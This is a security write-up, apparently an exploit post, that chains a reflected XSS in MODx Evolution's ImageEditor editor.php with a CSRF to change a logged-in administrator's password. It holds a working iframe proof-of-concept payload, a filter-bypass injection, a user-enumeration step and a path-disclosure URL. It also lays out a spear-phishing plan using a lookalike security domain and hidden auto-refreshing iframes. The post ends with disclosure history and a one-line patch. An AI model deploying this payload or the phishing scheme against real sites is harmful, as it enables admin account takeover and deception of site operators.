Mod-X Cross Site Request Forgery / Cross Site Scripting

`Got bored and decided to break the new website of the company I work for.  
Throughout I'll be dropping two new exploits that were chained to allow the  
changing of the administrative password of a default mod-x install. This is  
not a full review of mod-x, my main goal was just to break something, so I  
went with the first exploit I found.  
If you know me, you know I don't disclose unless you can exploit without  
user interaction. However, I thought it was a cool writeup on how security  
mechanisms were bypassed that I thought I would share.  
  
Did not discover much input that can be manipulated until I ran across a  
modx extension called ditto. Through ditto, I was able to discover a full  
path disclosure:  
http://www.victim.com/archives?myDittoCall_year=2009&myDittoCall_month=false&myDittoCall_day=false&myDittoCall_start[]=0  
  
Error message:  
« MODx Parse Error »  
MODx encountered the following error while attempting to parse the requested  
resource:  
« PHP Parse Error »  
  
PHP error debug  
Error: htmlspecialchars() expects parameter 1 to be string, array  
given  
Error type/ Nr.: Warning - 2  
File: /var/www/vhosts/  
victim.com/httpdocs/assets/snippets/ditto/classes/ditto.class.inc.php  
Line: 1077  
Line 1077 source: $query[htmlspecialchars($param, ENT_QUOTES)] =  
htmlspecialchars($value, ENT_QUOTES);  
  
Parser timing  
MySQL: 0.0022 s (19 Requests)  
PHP: 0.1612 s  
Total: 0.1633 s  
  
Effected Code (even though error is pretty verbose):  
foreach ($_GET as $param=>$value) {  
if ($param != 'id' && $param != 'q') {  
$query[htmlspecialchars($param, ENT_QUOTES)] =  
htmlspecialchars($value, ENT_QUOTES);  
}  
}  
  
First things first, htmlspecialchars with ENT_QUOTES seems to be messing  
with all of our injections. No charset appears to be specified, let's take  
a look at their default charset, perhaps one was specially set.  
UTF-8 is default charset, no special reflective injection point.  
  
However, we do have a full path disclosure and we now know that  
victim.comis running modx, let's go download that!  
*After fscking around, found that they use Evolution and not Revolution  
version of mod-x*  
  
http://www.victim.com/manager/ - Our login entry point.  
  
Looks like there's no nonce checking so csrf is a viable option after some  
modification. First, let's acquire some sort of username we can use to  
manipulate/create users (or something of equal fun).  
  
http://www.victim.com/manager/index.php?action=show_form  
Very nice! The forgot password form is happy to verify if the user exists  
via the email or not. Good chances that the email will be [email protected].  
This information can be used to advance our attack.  
  
After a lot of looking around and guessing names I finally ran across a  
valid user by looking around the site for contact emails and other  
usernames. Turns out it was a marketing person (+1 SE aid).  
After finding a valid user email, I was able to now work on crafting the  
exploit and using spear social engineering to exponentially increase the  
likelihood of an attack (spear phishing is very successful).  
  
Now, there are all sorts of valid CSRF around. However, we have a problem.  
victim.com/manager/index.php checks referrers. index.php includes/requires  
the actions that we want to have fun with.  
a.) Attack vector 1: See how strenuous the checks are for the referrer.  
Possibly attack a hosted sub-domain or another application (blog? Open  
source apps seem to work together.).  
if (!empty($referer)) {  
if (!preg_match('/^'.preg_quote(MODX_SITE_URL, '/').'/i',  
$referer)) {  
b.) Attack vector 2: Find a CSRF outside of index.php or directly access  
included/required files so referrer check is never executed. Problem is  
direct includes don't work on most of the fun scripts because of:  
if (IN_MANAGER_MODE != "true")  
die("<b>INCLUDE_ORDERING_ERROR</b><br /><br />Please use the MODx  
Content Manager instead of accessing this file directly.");  
c.) Attack vector 3: Somehow get the script on the site. Not likely  
otherwise this would probably never be needed.  
d.) Attack vector 4: Find an xss to reflect a self-submitting form.  
However, protect.inc.php seems to have basic xss protection and is included  
in most scripts.  
'@<script[^>]*?>.*?</script>@si',  
'@&#(\d+);@e',  
'@\[\[(.*?)\]\]@si',  
'@\[!(.*?)!\]@si',  
'@\[\~(.*?)\~\]@si',  
'@\[\((.*?)\)\]@si',  
'@{{(.*?)}}@si',  
'@\[\+(.*?)\+\]@si',  
'@\[\*(.*?)\*\]@si'  
  
After a bit of digging around (<30 minutes) in the scripts, I found a simple  
injection point in /manager/media/ImageEditor/editor.php.  
<title>Image Editor - <?php echo $_GET['img']; ?></title>  
Great! However, protect.inc.php is included. So <script> gets stripped.  
That's alright, let's find another way to run our javascript.  
</title></head><body onload="alert('hi');">  
This is why blacklists fail. Now all we need is a self-submitting form by  
placing javascript inside onload. Current Injection:  
  
</title></head><body onload='document.formcool.submit();'><form  
name='formcool' method='POST' action='  
http://victim.com/manager/index.php?a=34'><input type='hidden' name='id'  
value=''><input type='hidden' name='pass1' value='admin2' /><input  
type='hidden' name='pass2' value='admin2' /><input type='submit' name='save'  
value='Submit+Query' /></form>  
  
*We've crafted a self-submitting POST to execute a password change on the  
logged in user. While id is a variable, it is not needed and will execute  
on the current logged in user.  
  
  
Now, we'll place an iframe on our test site to attack our test modx  
installation. PoC:  
  
attacksite.com/xploit.html:  
HI! Password change recently?  
<br />  
<iframe src="http://victim.com/manager/media/ImageEditor/editor.php?img=</title></head><body  
onload='document.formcool.submit();'><form name='formcool' method='POST'  
action='http://victim.com/manager/index.php?a=34'><input type='hidden'  
name='id' value=''><input type='hidden' name='pass1' value='admin2' /><input  
type='hidden' name='pass2' value='admin2' /><input type='submit' name='save'  
value='Submit+Query' /></form>" />  
  
*So, iframe points to xss on target domain which will execute our CSRF which  
simply changes the logged in user's password to 'admin2'. Of course, this  
can be hidden in a valid website (my SE is included below).  
  
Login: setcookie('modx_remember_manager', $_SESSION['mgrShortname'],  
time()+60*60*24*365 <---- Save cookie for 60 days, 60 hours, 24 minutes,  
and 365 seconds. If cookies are saved, like your average user, we will have  
the past 60 days for our exploit to have executed without worrying about  
them logging after viewing our malicious SE site.  
Login: remember me is an option for indefinite storeage.  
  
  
My Social Engineer (The company I work for is a security company. So an  
exploit on the site would be an emberassment if someone who doesn't work  
here would find one. This is how I built the SE):  
.info's are now $3. modxsecurity.info anyone? Not taken! We could even do  
modxsecurity.com if we wanted to spend more and make that average user think  
it's even more legitimate.  
Well, we know that this is pretty much a default installation. No file I've  
checked has deviated from default. So it's simple to find security problems  
with their installation, report it to the email we discovered earlier saying  
they have x amount of vulnerabilities and our malicious website is a guide  
on how to fix it. Then point to our modxsecurity.com site with instructions  
on several misconfigurations/exploits and how to fix. Have hidden iframe  
placed in background that refreshes to make sure user is logged in an  
attempt injection. The iframe could be wrapped in ajax to execute iframe  
every minute or so to make sure to catch them when they're logged in. To  
stop generating traffic after exploit works, a test login using something  
like cURL can be made and the response checked for successful login. Best  
part is, even if found user is not capable of web administration, they would  
logically forward it to those who are which would still execute our attack.  
In this instance, a better PoC would likely be made because username may not  
be known (*note - passwords can be sent via email which may include  
username, adding administrators is possible, modifying pages with php in  
context of logged in user is possible, and etc.).  
  
  
  
Ethical Disclosure:  
CSRF had been reported: http://bugs.modx.com/browse/MODX-206  
However, referrer check was added on 22/Jul/08 4:00 PM and tokenizing was  
suggested and attempted implementation on 08/Oct/09 1:38 AM, however not  
much has been implemented in this regards.  
  
XSS reported: http://bugs.modx.com/browse/MODX-2281  
*Had manually emailed and got a response on August 12th. Was finally able  
to create ticket on the 16th. Found that no one was assigned, commented,  
and etc. for a week. It is a minor bug (as I filed it as such), however the  
application of it can make it a bit more destructive (as shown above). As  
all issues are now public knowledge and given time, public release with  
patch considerations for those needing it.  
  
Patching:  
It's relatively simple, just find:  
mod-x-install-path/manager/media/ImageEditor/  
and edit the file editor.php on the line 22:  
<title>Image Editor - <?php echo $_GET['img']; ?></title>  
With:  
<title>Image Editor - <?php echo htmlspecialchars($_GET['img'], ENT_QUOTES,  
'UTF-8'); ?></title>  
This should not break anything as it's not saved in a variable and is only  
shown in the title bar of the browser on this one page.  
  
As for the other protection like CSRF, might want to wait for the mod-x team  
on this one. I hope after a couple years from the original bug report, they  
have a little something that just needs some tweaking without breaking how  
their manager operates.  
  
~TurboBorland~  
`